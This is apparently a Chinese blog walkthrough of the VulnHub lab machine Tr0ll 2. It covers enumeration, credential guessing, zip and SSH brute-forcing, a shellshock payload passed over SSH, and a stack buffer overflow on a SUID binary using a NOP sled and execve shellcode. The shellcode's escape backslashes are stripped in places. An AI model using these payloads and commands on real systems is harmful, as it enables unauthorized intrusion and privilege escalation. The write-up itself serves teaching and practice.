打靶日记 VulnHub靶机 Tr0ll 2

admin 2025年3月12日23:04:19评论14 views1字数 3807阅读12分41秒阅读模式

一、将靶机导入虚拟机

下载Tr0ll:2

链接:https://pan.quark.cn/s/1e50c49f1306
打靶日记 VulnHub靶机 Tr0ll 2
打靶日记 VulnHub靶机 Tr0ll 2

二、探测靶机IP(进行信息收集)

nmap -sS -sV -T4 192.168.253.0/24 -A

使用 -A 可以一次性获取目标主机更多的信息,如操作系统类型、开放服务的详细信息、潜在的安全漏洞等

打靶日记 VulnHub靶机 Tr0ll 2

三、进行目录枚举

dirb http://192.168.253.139
打靶日记 VulnHub靶机 Tr0ll 2

四、到网页进行信息收集(80端口)

打靶日记 VulnHub靶机 Tr0ll 2

查看网页源代码,给了一个用户名Author:Tr0ll 第一次猜测密码:VIM,第二次猜测没有密码,后面才知道密码是Tr0ll,用户名和密码是一样的

打靶日记 VulnHub靶机 Tr0ll 2

在进行目录枚举的时候看到robots.txt

打靶日记 VulnHub靶机 Tr0ll 2

cgi-bin无权限访问

打靶日记 VulnHub靶机 Tr0ll 2

server-staus无权限访问

打靶日记 VulnHub靶机 Tr0ll 2

五、尝试ftp登录

根据上面的用户和密码进行尝试,用户名:Tr0ll 密码:Tr0ll

打靶日记 VulnHub靶机 Tr0ll 2

发现一个lmao.zip文件

打靶日记 VulnHub靶机 Tr0ll 2

发现要密码,密码也不是Tr0ll,之前的网页应该还有信息被遗漏,robots.txt的目录还没有尝试去枚举

先下载下来

wget http://192.168.253.139/robots.txt

修改好

打靶日记 VulnHub靶机 Tr0ll 2

再次取用dirb进行目录枚举

dirb http://192.168.253.139/ robots.txt
打靶日记 VulnHub靶机 Tr0ll 2

挨个去看看,发现这四个都是一样的图片,但是路径不一样,去下载下来

http://192.168.253.139/noob/
http://192.168.253.139/keep_trying/
http://192.168.253.139/dont_bother/
http://192.168.253.139/ok_this_is_it/
打靶日记 VulnHub靶机 Tr0ll 2
打靶日记 VulnHub靶机 Tr0ll 2

把图片都下载下来,复制图像链接,wget下载

打靶日记 VulnHub靶机 Tr0ll 2
打靶日记 VulnHub靶机 Tr0ll 2

下载下来后,挨个strings,简单的misc

strings cat_the_troll.jpg
strings cat_the_troll.jpg.1
strings cat_the_troll.jpg.2
strings cat_the_troll.jpg.3

在strings cat_the_troll.jpg.2的时候发现Look Deep within y0ur_self for the answer(深入审视你自己以寻找答案),这里的y0ur_self应该是个目录,进去看看

打靶日记 VulnHub靶机 Tr0ll 2

进入y0ur_self目录,发现有个answer.txt

打靶日记 VulnHub靶机 Tr0ll 2

answer.txt里都是Base64

打靶日记 VulnHub靶机 Tr0ll 2
wget http://192.168.253.139/y0ur_self/answer.txt  

六、使用fcrackzip进行爆破

base64 -d answer.txt > decode.txt

解码

fcrackzip -D  -p  /home/yzy/Desktop/decode.txt -u lmao.zip
打靶日记 VulnHub靶机 Tr0ll 2

ItCantReallyBeThisEasyRightLOL

解压之后得到一个noob文件,是个RSA密钥

打靶日记 VulnHub靶机 Tr0ll 2
hydra -l Tr0ll -P decode.txt 192.168.253.139 ssh -v

Tr0ll为用户名,要小写l,如果是用户名的文本就要大写的L

小写的p是指定密码,大写P是指定密码文件

发现爆破不出来

七、ssh公钥登录失败报错

由于靶机的ssh版本太低,而kali的ssh版本过高,所以就会出现连接不上的问题

sign_and_send_pubkey: no mutual signature supported

客户端和服务器 SSH 版本不兼容

打靶日记 VulnHub靶机 Tr0ll 2

去网上查找解决方法

首先要设置文件的权限

chmod 600 noob
cd ~/.ssh
vim config
写入PubkeyAcceptedKeyTypes +ssh-rsa,保存退出

然后再重新去连接

打靶日记 VulnHub靶机 Tr0ll 2

或者直接输入

ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" [email protected]
打靶日记 VulnHub靶机 Tr0ll 2

没发现什么有用的信息

利用shellshock漏洞

参考文章 绕过Linux受限Shell环境的技巧

ssh  [email protected] -i noob -t '() { :;}; /bin/bash'
  • -i noob:指定私钥文件noob进行身份验证

  • -t:强制分配伪终端(即使没有本地终端)

  • '() { :;}; /bin/bash':远程执行的 shell 命令

反弹成功后,随便看一下没发现什么,返回最上层目录去看看

打靶日记 VulnHub靶机 Tr0ll 2

一眼看到一个nothing_to_see_here(这里没有什么),那必须去看看了

find / -perm -4000 -print 2>/dev/null
打靶日记 VulnHub靶机 Tr0ll 2

进去后发现有三个门,door1执行直接重启

打靶日记 VulnHub靶机 Tr0ll 2

door2要加入参数,这里就很奇怪了

打靶日记 VulnHub靶机 Tr0ll 2

door3直接重启断开连接

打靶日记 VulnHub靶机 Tr0ll 2

八、gdb调试

gdb在写pwn的时候是每次都用的,进行一些调试,断点,变量修改,程序启动时,可以按照自定义的要求运行程序,如b main,在main函数处断点,还可以查看栈空间,如x $rbp-0x8 会显示当前函数的栈帧中,距离基址指针 $rbp 偏移 8 个字节处的内存内容,如r是run的缩写,运行的意思

使用gdb去调试

door1

打靶日记 VulnHub靶机 Tr0ll 2

door2

发现strcpy函数

打靶日记 VulnHub靶机 Tr0ll 2
打靶日记 VulnHub靶机 Tr0ll 2

doo3

打靶日记 VulnHub靶机 Tr0ll 2

发现只有door1有一个strcpy函数,可能造成缓冲区溢出,这时就可以用cyclic,或者pattern create去创建一个合适的字符长度的字符串,去计算偏移,但是这里并没有cyclic和pattern这些工具,直接去外面创建好,一般在写pwn题的时候进行调试用cyclic和pattern用的多,在kali里面用msf自带的插件,我这里生成了1200个,但生成1000,500都可以进行溢出

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1200

出现程序报错中断,将报错的地址复制下来计算溢出偏移(0x6a413969)

打靶日记 VulnHub靶机 Tr0ll 2

打靶日记 VulnHub靶机 Tr0ll 2

使用msf的pattern_offset.rb反查 0x6a413969 对应上面的字符中的偏移量

./pattern_offset.rb -q 0x6a413969

-q 一般表示 “查询(query)”,是告知脚本需要查找某个特定值在模式字符串中的偏移位置

打靶日记 VulnHub靶机 Tr0ll 2

这里发现偏移268,查看内核信息,是i686,说明是32位系统,32位占4个字节,64位占8个字节,而这里是32位,从ebp(栈底)开始要加上栈底,所以要加上4,如果64位则加8

打靶日记 VulnHub靶机 Tr0ll 2
  • esp:寄存器存放当前线程的栈顶指针

  • ebp:寄存器存放当前线程的栈底指针

  • eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行

通过字符串的地址知道偏移量为268,前面有268个,现在是269,到272就是eip,

r $(python -c 'print "A"*268 + "B"*4')
#Python 代码生成 268 个 'A' 字符 + 4 个 'B' 字符作为输入参数
info r
#info registers,用于查看寄存器状态

发现确实是A和B

打靶日记 VulnHub靶机 Tr0ll 2

在后面再加几个字符,看看到哪一个寄存器

r $(python -c 'print "A"*268 + "B"*4+ "C"*20')
打靶日记 VulnHub靶机 Tr0ll 2

可以看到esp

九、查看 ASLR 的开启状态并提权

cat /proc/sys/kernel/randomize_va_space

值为 0:表示 ASLR 被禁用,栈地址不会随机化

值为 1:表示部分随机化,栈、堆和共享库的地址会进行一定程度的随机化

值为 2:表示完全随机化,提供更高级别的保护

打靶日记 VulnHub靶机 Tr0ll 2

这里并没有开,但是如果开了,我们可以通过nop sled,即使没开,也可以添加nop sled,容错率更高

就比如当攻击失败时,nop sled 可以帮助缩小排查范围,如果程序执行到了 nop sled 但没有进入 shellcode,那么问题可能出在 shellcode 本身;如果程序没有执行到 nop sled,则可能是返回地址设置有误

因为当我们进行缓冲区溢出攻击时,要精确控制程序执行流跳转到我们注入的 shellcode 起始位置是比较困难的。这是因为在不同的环境下(如不同的系统、不同的程序运行状态),内存布局可能会有细微的变化,导致我们计算的 shellcode 地址可能会有偏差,nop sled 由一系列的空操作指令(在 x86 架构中,空操作指令是 nop,机器码为 0x90)组成,当程序执行流跳转到 nop sled 区域时,会依次执行这些空操作指令,直到遇到真正的 shellcode,这样即使跳转地址有一定的偏差,只要落在 nop sled 范围内,程序最终还是会执行到 shellcode,从而增加了攻击成功的概率

这是一个Shellcode 资源库

https://shell-storm.org/shellcode/index.html
打靶日记 VulnHub靶机 Tr0ll 2
打靶日记 VulnHub靶机 Tr0ll 2
./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')

提权成功

打靶日记 VulnHub靶机 Tr0ll 2

原文始发于微信公众号(泷羽Sec-临观):打靶日记 VulnHub靶机 Tr0ll 2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月12日23:04:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 VulnHub靶机 Tr0ll 2https://cn-sec.com/archives/3828799.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息